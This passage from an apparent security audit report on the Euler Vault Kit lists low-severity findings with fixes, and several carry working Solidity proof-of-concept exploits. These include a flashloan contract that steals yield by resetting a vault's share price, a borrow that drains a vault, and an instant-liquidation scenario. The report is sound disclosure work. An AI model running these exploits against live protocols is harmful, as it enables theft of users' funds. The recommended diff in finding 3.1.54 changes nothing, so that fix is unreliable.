        evc.enableCollateral(attacker, address(eTST));
        evc.enableController(attacker, address(eTST2));
        // stealing all eTST2 cash
        eTST2.borrow(ETST2_CASH, attacker);
        // starting from worthless 10^6 assets, attacker stole additional 50 * 10^12 worthwhile assets
        assertEq(assetTST2.balanceOf(attacker), INIT_ASSET_TST2_FUNDS + ETST2_CASH);
    }

    function testOwedPOC() external {
        vm.startPrank(attacker);
        breakInvariant();
        waitBorrowsExponentialGrow();
        stealFunds();
    }
}
```

Recommendation: In getCurrentOwed function change rounding down to rounding up. This change helps to maintain invariant $\sum_{i=1}^{n} a_i \geq \text{totalBorrows}$, and therefore mitigates the issue. Note, that also it will not decrease the user experience making them repaying more, because in usual situations each separate `owed` isn't divisible evenly by $D = 2^{31}$, and therefore 1 auxiliary `Owed` unit will not result in any additional unit of `Asset` to repay.

3.1.53 `IRMSynth` does not use the previous interest rate as stated in the whitepaper when the oracle returns `0`

Submitted by yttriumzz, also found by Akshay Srivastav

Severity: Low Risk

Context: IRMSynth.sol#L88-L94

Description: The `IRMSynth` interest rate model is a simple reactive rate model which adjusts the interest rate up when it trades below the `TARGET_QUOTE` and down when it trades above or at the `TARGET_QUOTE`. According to the [whitepaper](`https://docs.euler.finance/euler-vault-kit-white-paper/#irmsynth`), if the oracle returns `0` quote, return previous rate. However, as implemented, if the oracle returns `0` quote, the interest rate will increase by 10%. See the implementation below for details.

- IRMSynth.sol#L84-L94

```
    uint256 quote = oracle.getQuote(quoteAmount, synth, referenceAsset);

    updated = true;

    if (quote < targetQuote) {
        // If the quote is less than the target, increase the rate
        rate = rate * ADJUST_FACTOR / ADJUST_ONE;
    } else {
        // If the quote is greater than the target, decrease the rate
        rate = rate * ADJUST_ONE / ADJUST_FACTOR;
    }
```

This will cause the interest rate of `IRMSynth` to increase unexpectedly.

Recommendation: When the oracle returns `0`, `IRMSynth` should use the previous interest rate

```
  function _computeRate(IRMData memory irmCache) internal view returns (uint216 rate, bool updated) {
      updated = false;
      rate = irmCache.lastRate;

      // If not time to update yet, return the last rate
      if (block.timestamp < irmCache.lastUpdated + ADJUST_INTERVAL) {
          return (rate, updated);
      }

      uint256 quote = oracle.getQuote(quoteAmount, synth, referenceAsset);

      updated = true;

+     if (quote == 0) return (rate, updated);
      if (quote < targetQuote) {
          // If the quote is less than the target, increase the rate
          rate = rate * ADJUST_FACTOR / ADJUST_ONE;
      } else {
          // If the quote is greater than the target, decrease the rate
          rate = rate * ADJUST_ONE / ADJUST_FACTOR;
      }

      // Apply the min and max rates
      if (rate < BASE_RATE) {
          rate = BASE_RATE;
      } else if (rate > MAX_RATE) {
          rate = MAX_RATE;
      }

      return (rate, updated);
  }
```

3.1.54 Forfeit reward does not actually forfeit the reward in `BaseRewardStreams::calculateRewards()`

Submitted by ladboy233, also found by 0xa5df and Anurag Jain

Severity: Low Risk

Context: BaseRewardStreams.sol#L609-L628

Description: The term forfeit means lose or give up. Once the user set the forfeit flag to true, user should no longer be able to eligible for the reward. This behaviour is also mentioned in the documentation.

> `forfeitRecentReward` set to `true`. This will grant the rewards earned since the last distribution update, which would normally be earned by the user, to the rest of the distribution participants, lowering the gas cost for the user.

The current implementation in the function `BaseRewardStreams::calculateRewards()`:

```
```solidity
function calculateRewards(
    DistributionStorage storage distributionStorage,
    EarnStorage storage accountEarnStorage,
    uint256 currentAccountBalance,
    bool forfeitRecentReward
)
    internal
    view
    virtual
    returns (uint48 lastUpdated, uint208 accumulator, uint96 claimable, uint96 deltaAccountZero)
{
    // ...

    if (!forfeitRecentReward) {
        // Get the start and end epochs based on the last updated timestamp of the distribution.
        uint48 epochStart = getEpoch(lastUpdated);
        uint48 epochEnd = currentEpoch() + 1;
        uint256 delta;

        // Calculate the amount of tokens since the last update that should be distributed.
        for (uint48 epoch = epochStart; epoch < epochEnd; ++epoch) {
            // Overflow safe because:
            // `totalRegistered * MAX_EPOCH_DURATION <= type(uint160).max * MAX_EPOCH_DURATION / SCALER <
            // type(uint256).max`.
            unchecked {
                delta += rewardAmount(distributionStorage, epoch) * timeElapsedInEpoch(epoch, lastUpdated);
            }
        }

        // Increase the accumulator scaled by the total eligible amount earning reward. In case nobody earns
        // rewards, allocate them to address(0). Otherwise, some portion of the rewards might get lost.
        uint256 currentTotalEligible = distributionStorage.totalEligible;

        if (currentTotalEligible == 0) {
            // Downcasting is safe because the `totalRegistered <= type(uint160).max / SCALER <
            ↪  type(uint96).max`.
            deltaAccountZero = uint96(delta / EPOCH_DURATION);
        } else {
            // Overflow safe because `totalRegistered * SCALER <= type(uint160).max`.
            unchecked {
                accumulator += uint160(delta * SCALER / EPOCH_DURATION / currentTotalEligible);
            }
        }

        // Snapshot the timestamp.
        lastUpdated = uint48(block.timestamp); // <<<
    }

    // Update the account's earned amount.
    // Downcasting is safe because the `totalRegistered <= type(uint160).max / SCALER < type(uint96).max`.
    claimable += uint96(uint256(accumulator - accountEarnStorage.accumulator) * currentAccountBalance / SCALER);

}
```
```

The root cause of the issue is while the whitepaper says:

This will grant the rewards earned since the last distribution update, which would normally be earned by the user, to the rest of the distribution participants, lowering the gas cost for the user.

But in the current implementation, the timestamp is not updated if when `forfeitRecentReward` set to `true`.

Proof of concept: Modify the code in `Scenarios.t.sol` in the test `test_Scenario_6()`:

```
// participant 1: claims their rewards forgiving the most recent ones
vm.startPrank(PARTICIPANT_1);
uint256 preRewardBalance = MockERC20(reward).balanceOf(PARTICIPANT_1);
console.log("prev balance", preRewardBalance);
stakingDistributor.claimReward(stakingRewarded, reward, PARTICIPANT_1, true);
uint256 afterBalance = MockERC20(reward).balanceOf(PARTICIPANT_1);

// assertApproxEqRel(MockERC20(reward).balanceOf(PARTICIPANT_1), preRewardBalance + 4.4e18, ALLOWED_DELTA);
console.log("after balance", afterBalance);

console.log("...reward does not get forfeit...")

preRewardBalance = MockERC20(reward).balanceOf(PARTICIPANT_1);
console.log("prev balance", preRewardBalance);
stakingDistributor.claimReward(stakingRewarded, reward, PARTICIPANT_1, false);
afterBalance = MockERC20(reward).balanceOf(PARTICIPANT_1);
console.log("after balance", afterBalance);
```

Output:

```
Logs:
  prev balance 0
  after balance 4400000000000000000
  ...reward does not get forfeit...
  prev balance 4400000000000000000
  after balance 6400000000000000000
```

Recommendation: Move the `block.timestamp` updated time above the claimable comptutation in the `BaseRewardStreams::calculateRewards()`:

```
  // Snapshot the timestamp.
- lastUpdated = uint48(block.timestamp);
+ lastUpdated = uint48(block.timestamp);
  claimable += uint96(uint256(accumulator - accountEarnStorage.accumulator) * currentAccountBalance / SCALER);
```

3.1.55 There are some typos in reward readme docs

Submitted by 0xTheBlackPanther

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Description: If you check the github readme instead of `forfeitRecentReward` the word `forgiveRecentReward` is used.

Recommendation: Make sure to update it to the correct word `forfeitRecentReward`.

3.1.56 IRM synth rate always moves even when no trade is possible due to swap fees

Submitted by Alex The Entreprenerd, also found by Akshay Srivastav

Severity: Low Risk

Context: IRMSynth.sol#L88-L101

Impact: All swaps have fees, both in the PSM as well as on any AMM. The logic for IRM Synth to compute it's next interest rate is as follows:

```
if (quote < targetQuote) {
    // If the quote is less than the target, increase the rate
    rate = rate * ADJUST_FACTOR / ADJUST_ONE;
} else {
    // If the quote is greater than the target, decrease the rate
    rate = rate * ADJUST_ONE / ADJUST_FACTOR;
}
```

The logic for `_computeRate` in `IRMSynth` is computing a price, however this spot price will not include:

- The Oracle Drift.
- The Swap Fees necessary to move the price.
- The gas cost necessary to move the price.

This will result in interest rates changing even when no actual arbitrage nor market making operation is possible.

Proof of concept:

- Get any quote price.
- See that the actual execution inclusive of fees will be higher cost.
- Borrowers are being charged incorrectly as the price inclusive of fees should not move the rate in that direction.

The proof of concept will run with the following logs, showing how a No-Arb opportunity causes rates to increase:

```
  quote 999999999999999999
  withFee 989999999999999999
  startRate 158443692534057154
  endRate 1716690817191148858
```

```
// SPDX-License-Identifier: UNLICENSED

pragma solidity ^0.8.0;

import {EVaultTestBase} from "./EVaultTestBase.t.sol";
import "src/EVault/shared/types/Types.sol";
import "src/EVault/shared/Constants.sol";
import {ERC20, Context} from "openzeppelin-contracts/token/ERC20/ERC20.sol";
import "src/Synths/IRMSynth.sol";
import {console2} from "forge-std/Test.sol";

contract MockSynth is ERC20 {
    constructor() ERC20("MockSynth", "SYNTH"){}

    function mint(address to, uint256 amt) external {
        _mint(to, amt);
    }
}

contract MockAMMAndPricer {
    function getQuote(uint256 inAmount, address base, address quote) external view returns (uint256 outAmount)
{
        return inAmount * resA / resB;
    }

    uint256 resA;
    uint256 resB;
    uint256 fee = 100; // 1% in BPS
    uint256 MAX_BPS = 10_000;
```

```
    function getRatio() public returns (uint256) {
        return resA/resB;
    }

    function setResA(uint256 _resA) external {
        resA = _resA;
    }
    function setResB(uint256 _resB) external {
        resB = _resB;
    }

    function getOutWithFee(uint256 inAmount) external view returns (uint256) {
        uint256 quotedAmt = inAmount * resA / resB;
        uint256 afterFree = quotedAmt * (MAX_BPS - fee) / MAX_BPS;
        return afterFree;
    }
}
contract POC_Test is EVaultTestBase {
    using TypesLib for uint256;

    function setUp() public override {
        // There are 2 vaults deployed with bare minimum configuration:
        // - eTST vault using assetTST as the underlying
        // - eTST2 vault using assetTST2 as the underlying

        // Both vaults use the same MockPriceOracle and unit of account.
        // Both vaults are configured to use IRMTestDefault interest rate model.
        // Both vaults are configured to use 0.2e4 max liquidation discount.
        // Neither price oracles for the assets nor the LTVs are set.
        super.setUp();

        // In order to further configure the vaults, refer to the Governance module functions.
    }

    function test_POC() external {
        MockAMMAndPricer pricer = new MockAMMAndPricer();
        MockSynth synth = new MockSynth();

        // Set price a .99999/1, leading to raise in rates
        pricer.setResA(1e18 - 1);
        pricer.setResB(1e18);

        uint256 quote = pricer.getQuote(1e18, address(synth), address(124));
        uint256 withFee = pricer.getOutWithFee(1e18);
        console2.log("quote", quote);
        console2.log("withFee", withFee);

        // Set IRM at 1e18
        IRMSynth irm = new IRMSynth(address(synth), address(124), address(pricer), 1e18);

        uint256 startRate = irm.computeInterestRate(address(124), uint256(1), uint256(1));
        for(uint256 i; i < 25; i++) {
            vm.warp(block.timestamp + irm.ADJUST_INTERVAL());
            irm.computeInterestRate(address(124), uint256(1), uint256(1));
        }
        uint256 endRate = irm.computeInterestRate(address(124), uint256(1), uint256(1));

        assertGt(endRate, startRate, "Rate increase");
        console2.log("startRate", startRate);
        console2.log("endRate", endRate);
    }
}
```

Recommendation: Account for swap fees and oracle drift, add a buffer at which the price will cause rates to remain static. Oracle Drift can be quantified in the worst case as the Deviation Threshold minus 1 wei. Technically the real drift could be higher due to the delay for oracle update.

3.1.57 Flashloaning of Vault and cTokens allows stealing underlying value via Price Per Share Reset

Submitted by Alex The Entreprenerd

Severity: Low Risk

Context: Borrowing.sol#L147-L160

Description: Great care was taken to prevent any Vault State changing operation from happening via the `nonReentrant` lock. However, this is insufficient when the asset being transferred is itself a vault or a tokenized deposit, such as Yearn Vault or a Compound Token. This is because of a common implementation that resets the price per share when all assets are withdrawn

Proof of concept:

- Flashloan Vault.
- Obtain 100% of the vault total supply.
- Redeem 100% of the shares.
- Reset the PPFS.
- Redeposit to mint new shares.
- Return the flashloan.

```
// SPDX-License-Identifier: UNLICENSED

pragma solidity ^0.8.0;

import {EVaultTestBase} from "./EVaultTestBase.t.sol";
import "../../../src/EVault/shared/types/Types.sol";
import "../../../src/EVault/shared/Constants.sol";
import {ERC20, Context} from "openzeppelin-contracts/token/ERC20/ERC20.sol";
import {console2} from "forge-std/Test.sol";


contract FlashLoanReceiver {
    constructor(YearnLikeVault _vault, IEVault _eVault) {
        vault = _vault;
        ERC20(_vault.want()).approve(address(_vault), type(uint256).max);
        evault = _eVault;
    }

    YearnLikeVault vault;
    IEVault evault;


    function startFlashloan() external {
        evault.flashLoan(vault.balanceOf(address(evault)), hex"");
    }

    function onFlashLoan(bytes memory) external {
        uint256 toRepay = vault.balanceOf(address(this));

        // Withdraw all
        vault.withdraw(toRepay);

        // Re-deposit at 1:1
        vault.deposit(toRepay);
        // Send them back
        vault.transfer(msg.sender, toRepay);

        // We are left with underlying from yield
    }
}
contract MockERC20 is ERC20 {
    constructor() ERC20("mock", "MOCK"){}

    function mint(address to, uint256 amt) external {
        _mint(to, amt);
    }
}

contract YearnLikeVault is ERC20 {
```

```
    // The simplest Yearn V1, V2 and V3 like vault
    // Similar coded used by top autocompounders such as beefy

    address public want;

    constructor(address token) ERC20("yT", "YT") {
        want = token;
    }

    function balanceOfWant() public view returns (uint256) {
        return ERC20(want).balanceOf(address(this));
    }

    function ppfs() public view returns (uint256) {
        return balanceOfWant() * 1e18 / totalSupply();
    }

    function deposit(uint256 _amt) external {
        _mintSharesFor(msg.sender, _amt, balanceOfWant());
        ERC20(want).transferFrom(msg.sender, address(this), _amt);

    }

    function withdraw(uint256 _shares) external {
        uint256 r = balanceOfWant() * _shares / totalSupply();
        _burn(msg.sender, _shares);
        ERC20(want).transfer(msg.sender, r);
    }

    function _mintSharesFor(
        address recipient,
        uint256 _amount,
        uint256 _pool
    ) internal returns (uint256 shares) {
        if (totalSupply() == 0) {
            shares = _amount;
        } else {
            shares = _amount * totalSupply() / _pool;
        }

        if(shares != 0) {
            _mint(recipient, shares);
        }
    }
}

contract POC_Test is EVaultTestBase {
    using TypesLib for uint256;

    function setUp() public override {
        // There are 2 vaults deployed with bare minimum configuration:
        // - eTST vault using assetTST as the underlying
        // - eTST2 vault using assetTST2 as the underlying

        // Both vaults use the same MockPriceOracle and unit of account.
        // Both vaults are configured to use IRMTestDefault interest rate model.
        // Both vaults are configured to use 0.2e4 max liquidation discount.
        // Neither price oracles for the assets nor the LTVs are set.
        super.setUp();

        // In order to further configure the vaults, refer to the Governance module functions.
    }

    function test_POC() external {
        MockERC20 underlyingVault = new MockERC20();
        YearnLikeVault yearnVault = new YearnLikeVault(address(underlyingVault));

        IEVault eTST4 = IEVault(
            factory.createProxy(address(0), true, abi.encodePacked(address(yearnVault), address(0x123),
↪   address(0x1)))
        );

        underlyingVault.mint(address(this), 5e18);
        underlyingVault.approve(address(yearnVault), 1e18);

        yearnVault.deposit(1e18);
```

```
        uint256 startPpfs = yearnVault.ppfs();
        assertEq(yearnVault.ppfs(), 1e18, "1e18 ppfs");

        yearnVault.approve(address(eTST4), 1e18);
        eTST4.deposit(1e18, address(this));

        // Simulate yield for the Vault
        underlyingVault.transfer(address(yearnVault), 4e18);

        assertGt(yearnVault.ppfs(), startPpfs, "ppfs has grown");

        // flashloan and steal
        FlashLoanReceiver receiver = new FlashLoanReceiver(yearnVault, eTST4);
        receiver.startFlashloan();

        // Stolen amounts
        uint256 stolenUnderlying = underlyingVault.balanceOf(address(receiver));
        assertGt(stolenUnderlying, 0, "amount was skimmed");
        console2.log("stolenUnderlying", stolenUnderlying);

    }
}
```

Recommendation: The proper way to mitigate this is to ensure that the value of the underlying asset is the same. The Euler Oracle Implementation should be sufficient to determine if PPFS was reset for Vault Tokens that are used as Collateral.

3.1.58 `setImplementation` is not checking if the `newImplementation` is contract

Submitted by 0xTheBlackPanther

Severity: Low Risk

Context: GenericFactory.sol#L151-L155

Description: The `setImplementation` function is designed to set a new implementation contract address for upgrading all existing BeaconProxies to new logic. This function stores the new implementation address in the EIP1967 implementation slot and immediately applies the new logic across proxies. The current function checks if the new implementation is a zero address, but it does not validate whether the new address is actually a contract. This validation step is crucial and is included in the official ERC1967 implementation examples.

Impact: Failing to validate that the new implementation address is a contract can lead to serious issues. Specifically, if a non-contract address is set as the implementation, the proxies would be unable to delegate calls correctly, leading to potentially severe operational failures. This could render the proxies dysfunctional and may result in a significant disruption of services, especially if the function is executed in a live production environment.

Recommendation: To align with the official ERC1967 standard and enhance the robustness of the `setImplementation` function, it is recommended to include a check to validate that the new implementation address is indeed a contract. This can be done by adding a line to require that the new implementation address satisfies the `Address.isContract` condition, as follows:

```
require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
```

Check the following references:

- ERC1967: Link to the official documentation and examples.
- Solidity Documentation on Address.isContract: Link to Solidity docs.

3.1.59 Wrong comments in `checkAccountStatus`

Submitted by 0xTheBlackPanther

Severity: Low Risk

Context: RiskManager.sol#L68

Description: In the `checkAccountStatus` function within the `RiskManagerModule` contract, there is an incorrect comment that references the `disableCollateral` function instead of the correct `disableController` function. This discrepancy can lead to confusion about the intended functionality and potential impact on the vault's storage.

Impact: The incorrect comment could mislead developers into thinking that the `disableCollateral` function is relevant in contexts where `disableController` should be considered. This can lead to improper use or avoidance of necessary functions. Also misleading comments propagate errors through documentation and team communication, leading to potential misalignment in the understanding of the contract's functionality.

Recommendation: Update the comment to accurately reflect the intended function. The corrected comment should be:

> // There are non-view functions without callThroughEVC modifier (`flashLoan`, `disableController`), but they don't change the vault's storage.

This change clarifies that `disableController` is the function that should be considered in the context of the comment and ensures that developers and auditors understand the correct scope and impact of the functions mentioned.

3.1.60 `ConfigAmounts` are fixed-point values, not floating-point

Submitted by 0xTheBlackPanther

Severity: Low Risk

Context: ConfigAmount.sol#L13

Description/Recommendation: The statement "*ConfigAmounts are floating-point values encoded in 16 bits with a $1e4$ precision*" is incorrect because they actually use fixed-point arithmetic, not floating-point. The correct statement is: "*ConfigAmounts are fixed-point values encoded in 16 bits with a 1e4 precision*" meaning they are stored as integers and represent decimal values scaled by 10,000.

3.1.61 Add indexed to `PullDebt` event

Submitted by 0xTheBlackPanther

Severity: Low Risk

Context: Events.sol#L102

Description/Recommendation: To improve the `PullDebt` event used in the `pullDebt` function, which allows one account to take on debt from another, add the `indexed` keyword to the `from` and `to` addresses. This change makes it easier and faster for clients like `web3.js` to search and filter events based on these addresses, despite slightly increasing gas costs. Here's the updated event:

```
event PullDebt(address indexed from, address indexed to, uint256 assets);
```

This adjustment enhances the event's usability in applications that need to track debt transfers involving specific accounts.

3.1.62 `EulerSavingsRate`: Lack of early interest accruals due to precision loss

Submitted by cccz

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Context: EulerSavingsRate.sol#L217-L253

Description: In `EulerSavingsRate.interestAccruedFromCache()`, `esrSlotCache.interestLeft * timePassed / totalDuration` is used to calculate the interest accrued.

```
function interestAccruedFromCache(ESRSlot memory esrSlotCache) internal view returns (uint256) {
    // If distribution ended, full amount is accrued
    if (block.timestamp >= esrSlotCache.interestSmearEnd) {
        return esrSlotCache.interestLeft;
    }

    // If just updated return 0
    if (esrSlotCache.lastInterestUpdate == block.timestamp) {
        return 0;
    }

    // Else return what has accrued
    uint256 totalDuration = esrSlotCache.interestSmearEnd - esrSlotCache.lastInterestUpdate;
    uint256 timePassed = block.timestamp - esrSlotCache.lastInterestUpdate;

    return esrSlotCache.interestLeft * timePassed / totalDuration;
}
```

However, when `updateInterestAndReturnESRSlotCache()` is called frequently, `timePassed` will be much smaller than `totalDuration`, which leads to precision loss in the division computation. And in `updateInterestAndReturnESRSlotCache()`, `lastInterestUpdate` is updated even if `accruedInterest` is 0, which causes `timePassed` to always be small. Malicious users can call `updateInterestAndReturnESRSlotCache()` frequently to make the early accrued interest 0.

```
function updateInterestAndReturnESRSlotCache() public returns (ESRSlot memory) {
    ESRSlot memory esrSlotCache = esrSlot;
    uint256 accruedInterest = interestAccruedFromCache(esrSlotCache);

    // it's safe to down-cast because the accrued interest is a fraction of interest left
    esrSlotCache.interestLeft -= uint168(accruedInterest);
    esrSlotCache.lastInterestUpdate = uint40(block.timestamp);
```

For example on Ethereum, `interestLeft` is 100000 wei WBTC (worth about 66 USD), `totalDuration` is 2 weeks(1209600 seconds), and the malicious user calls `updateInterestAndReturnESRSlotCache()` every 12 seconds (one block).

```
block 1: 100000*12/1209600 = 0.992, round down to 0.
block 2: 100000*12/(1209600-12) = 0.992, round down to 0.
...
block 800: 100000*12/(1209600-12*799) = 0.999, round down to 0.
block 801: 100000*12/(1209600-12*800) = 1.0.
block 802:99999*12/(1209600-12*801) = 1.0.
```

This means that no interest will be generated for the first 2.7 hours(800 blocks), and the smaller the block interval, the greater the impact will be. For example on Arbitrum, the malicious user can call `updateInterestAndReturnESRSlotCache()` every second. Since `1000000/(1209600-209600) = 1.0`, interest will not be generated until `209600 seconds` later, i.e., `58.2 hours` later.

Lack of early interest accruals can lead to a variety of impacts:

1. earlier depositors will not earn more interest, making it less attractive to depositors.
2. depositors will exit because of the lack of early interest.

Recommendation: It is recommended that in `updateInterestAndReturnESRSlotCache()`, once `accruedInterest` is 0 just return `esrSlotCache` without updating `lastInterestUpdate`:

```
  function updateInterestAndReturnESRSlotCache() public returns (ESRSlot memory) {
      ESRSlot memory esrSlotCache = esrSlot;
      uint256 accruedInterest = interestAccruedFromCache(esrSlotCache);
+     if( accruedInterest == 0 ) return esrSlotCache;
      // it's safe to down-cast because the accrued interest is a fraction of interest left
      esrSlotCache.interestLeft -= uint168(accruedInterest);
      esrSlotCache.lastInterestUpdate = uint40(block.timestamp);
      // write esrSlotCache back to storage in a single SSTORE
      esrSlot = esrSlotCache;
      // Move interest accrued to totalAssets
      _totalAssets = _totalAssets + accruedInterest;

      return esrSlotCache;
  }
```

3.1.63 The comment contains an incorrect variable and is misleading

Submitted by ComposableSecurity

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Description: The project distinguishes two types of variables for tokens used for rewards.

- `rewarded` -- to specify a token whose ownership/staking is rewarded.
- `reward` -- to define the token that is the reward and the user receives it after enabling rewards and meeting the conditions.

The comment in line 258 suggest otherwise and is misleading because it indicates that the reward token may have `MAX_REWARDS_ENABLED`. However, this is not true, this statement applies to the rewarded token.

Recommendation: Correct the comment to match the assumptions:

```
- /// @dev There can be at most MAX_REWARDS_ENABLED rewards enabled for the reward token and the account.
+ /// @dev There can be at most MAX_REWARDS_ENABLED rewards enabled for the rewarded token and the account.
```

3.1.64 Incorrect instructions for `CFG_EVC_COMPATIBLE_ASSET` flag use

Submitted by ComposableSecurity

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Description: Developers integrating or building smart contracts on top of heavily audited Euler contracts may be overconfident in the code and depend on trusted comments instead of code, which in this case might lead to incorrect flag setting. Setting the `CFG_EVC_COMPATIBLE_ASSET` flag incorrectly may result in loss of funds.

The documentation cleary says that "*Nested vaults can have `CFG_EVC_COMPATIBLE_ASSET` set, which **disables a protection** used by vaults to ensure that non-EVC-compatible tokens are not transferred to known sub-account addresses, where they would be lost*".

Description: The `CFG_EVC_COMPATIBLE_ASSET` flag disables a protection used by vaults to ensure that non-EVC-compatible tokens are not transferred to known sub-account addresses, where they would be lost. When flag is set, asset is considered to be compatible with EVC sub-accounts and protections are DISABLED. This is also how the `pushAssets` function works.

The comment in AssetTransfer.sol#L23 suggest otherwise, and is misleading because it indicates that when flag is set, the function will protect users:

```
/// @dev If the `CFG_EVC_COMPATIBLE_ASSET` flag is set, the function will protect users from mistakenly sending
/// funds to the EVC sub-accounts. Functions that push tokens out (`withdraw`, `redeem`, `borrow`) accept
```

Impact: Impact was marked as HIGH. Even though this is a mistake in the comment and not a code bug itself, it is not a negligible typo. This comment may influence how someone integrates or uses the solution and lead to serious consequences as loss of funds.

Likelihood: Likelihood was marked as LOW. Even though it is incorrectly described here in the comment, this flag is described correctly in the EVK documentation.

For a loss of funds to occur, the following conditions must be met:

- Relying on comments for the use of the `CFG_EVC_COMPATIBLE_ASSET` flag.
- Mistaken transfer to the EVC sub-accounts.

Recommendation: Correct the instruction in the comment to match assumptions:

```
- /// @dev If the `CFG_EVC_COMPATIBLE_ASSET` flag is set, the function will protect users from mistakenly
↪  sending
+ /// @dev If the `CFG_EVC_COMPATIBLE_ASSET` flag is NOT set, the function will protect users from mistakenly
↪  sending
```

3.1.65 Instant liquidations after clearing LTV

Submitted by ComposableSecurity, also found by T1MOH and Auditten

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Description: The `clearLTV` function is used to set LTV to zero and disable liquidations of a collateral by the governor when "the collateral is found to be unsafe to liquidate". After calling this function, the asset cannot be used as collateral anymore (LTV = 0) and cannot be liquidated if the borrow position becomes liquditable itself.

When a borrower has a borrow position collateralized with 2 assets and one of them has the LTV cleared, the position can become liquidatable and can be liquidated instantly leading to a loss of collateral for the borrower.

The proof of concept below covers the following scenario:

1. Borrower deposits 21 TST2 and 20 TST3.
2. Borrower borrows 20 TST (LTV for both assets is set to 50%). The position is healthy (however close to HS == 1 for simplicity).
3. Governor clears LTV for TST2. The position becomes unhealthy.
4. Liquidator backruns the governor and liquidates borrower for TST3 (it would not work for TST2 as it is not recognized collateral anymore).

*Note: The governor role is considered trusted however in this case the governor is **not** considered as a threat actor. They simply react to a vulnerability being identified and want to react as soon as possible. Nor they want to inform users before clearing the LVT because that might pose the risk of exploiting the vulnerability*.

Impact: The vulnerability makes the healthy positions instantly liquidatable and the borrowers loose collateral. Additionally, the borrower is not aware of this and cannot react upfront. That said, the impact is considered HIGH.

Likelihood: The likelihood of this vulnerability is equal to using a collateral that is found to be unsafe to liquidate which is considered as a real threat by the EVK as stated here:

```
/// @dev When LTV configuration is cleared, attempt to liquidate the collateral will revert.
/// Clearing should only be executed when the collateral is found to be unsafe to liquidate,
/// because e.g. it does external calls on transfer, which would be a critical security threat.
```

Additionaly, the victim must own a borrow position that is collateralized with a different collateral asset and the position must become liquidatable after clearing LTV. This is one of the main functionalities of EVK and we consider multiple collaterals as a likely scenario.

Proof of concept:

```
// SPDX-License-Identifier: UNLICENSED

pragma solidity ^0.8.0;

import {EVaultTestBase} from "./EVaultTestBase.t.sol";
import "../../../src/EVault/shared/types/Types.sol";
```

```
import "../../../src/EVault/shared/Constants.sol";

import {TestERC20} from "../../mocks/TestERC20.sol";
import {IRMTestDefault} from "../../mocks/IRMTestDefault.sol";

import "forge-std/console.sol";

contract POC_Test is EVaultTestBase {
    using TypesLib for uint256;

    address depositor;
    address borrower;

    function setUp() public override {
        // There are 2 vaults deployed with bare minimum configuration:
        // - eTST vault using assetTST as the underlying
        // - eTST2 vault using assetTST2 as the underlying

        // Both vaults use the same MockPriceOracle and unit of account.
        // Both vaults are configured to use IRMTestDefault interest rate model.
        // Both vaults are configured to use 0.2e4 max liquidation discount.
        // Neither price oracles for the assets nor the LTVs are set.
        super.setUp();

        // In order to further configure the vaults, refer to the Governance module functions.

        oracle.setPrice(address(assetTST), unitOfAccount, 1e18);
        oracle.setPrice(address(assetTST2), unitOfAccount, 1e18);

        depositor = makeAddr("depositor");
        borrower = makeAddr("borrower");
    }

    function test_POC_liqudationAfterClearLTV() public {

        // Setup THIRD asset and collateral vault
        TestERC20 assetTST3 = new TestERC20("Test Token 3", "TST3", 18, false);

        IEVault eTST3 = IEVault(
            factory.createProxy(address(0), true, abi.encodePacked(address(assetTST3), address(oracle),
↪   unitOfAccount))
        );
        eTST3.setInterestRateModel(address(new IRMTestDefault()));
        eTST3.setMaxLiquidationDiscount(0.2e4);
        eTST3.setFeeReceiver(feeReceiver);

        oracle.setPrice(address(assetTST3), unitOfAccount, 1e18);

        //Setup liquidator
        address liquidator = makeAddr("liquidator");

        startHoax(liquidator);
        assetTST3.mint(liquidator, 100e18);
        assetTST3.approve(address(eTST3), type(uint256).max);
        eTST3.deposit(100e18, liquidator);

        evc.enableCollateral(liquidator, address(eTST3));
        evc.enableController(liquidator, address(eTST));

        // Set initial LTV for collateral vaults
        startHoax(address(this));
        uint16 initialLTV_TST2 = 0.5e4;
        uint16 initialLTV_TST3 = 0.5e4;
        eTST.setLTV(address(eTST2), initialLTV_TST2, initialLTV_TST2, 0);
        eTST.setLTV(address(eTST3), initialLTV_TST3, initialLTV_TST3, 0);

        // Depositor deposits TST collateral
        startHoax(depositor);
        assetTST.mint(depositor, 20e18);
        assetTST.approve(address(eTST), type(uint256).max);
        eTST.deposit(20e18, depositor);

        // Borrowe deposits TST2 and TST3 collateral and borrows TST
        startHoax(borrower);
        assetTST2.mint(borrower, 21e18);
        assetTST2.approve(address(eTST2), type(uint256).max);
```

```
        eTST2.deposit(21e18, borrower);
        assetTST3.mint(borrower, 20e18);
        assetTST3.approve(address(eTST3), type(uint256).max);
        eTST3.deposit(20e18, borrower);

        evc.enableCollateral(borrower, address(eTST2));
        evc.enableCollateral(borrower, address(eTST3));
        evc.enableController(borrower, address(eTST));
        eTST.borrow(20e18, borrower);

        //check account borrowing collateral value
        uint256 borrowLTV = eTST.LTVBorrow(address(eTST2));
        uint256 borrowLTV_TST3 = eTST.LTVBorrow(address(eTST3));
        assertEq(borrowLTV, initialLTV_TST2, "borrotLTV is correct before setLTV");
        assertEq(borrowLTV_TST3, initialLTV_TST3, "borrotLTV_TST3 is correct before setLTV");

        uint256 maxRepay;
        uint256 maxYield;

        (uint256 collateralValue, uint256 liabilityValue) = eTST.accountLiquidity(borrower, false);
        assertEq(
            collateralValue,
            eTST2.balanceOf(borrower) * borrowLTV / 1e4 +
                eTST3.balanceOf(borrower) * borrowLTV_TST3 / 1e4,
            "collateralValue equal to balances * LTVs before setLTV"
        );

        console.log("Borrower's collateral before setLTV:", collateralValue);

        // No borrow, liquidation is a no-op
        (maxRepay, maxYield) = eTST.checkLiquidation(liquidator, borrower, address(eTST2));
        assertEq(maxRepay, 0);
        assertEq(maxYield, 0);

        // CLEAR LTV FOR TST2
        startHoax(address(this));
        eTST.clearLTV(address(eTST2));

        // Validate updated LTV
        borrowLTV = eTST.LTVBorrow(address(eTST2));
        borrowLTV_TST3 = eTST.LTVBorrow(address(eTST3));
        assertEq(borrowLTV,          0, "borrotLTV is correct after setLTV");
        assertEq(borrowLTV_TST3,    initialLTV_TST3,   "borrotLTV_TST3 is correct after setLTV");

        (collateralValue, liabilityValue) = eTST.accountLiquidity(borrower, false);
        assertEq(
            collateralValue,
            eTST2.balanceOf(borrower) * borrowLTV / 1e4 +
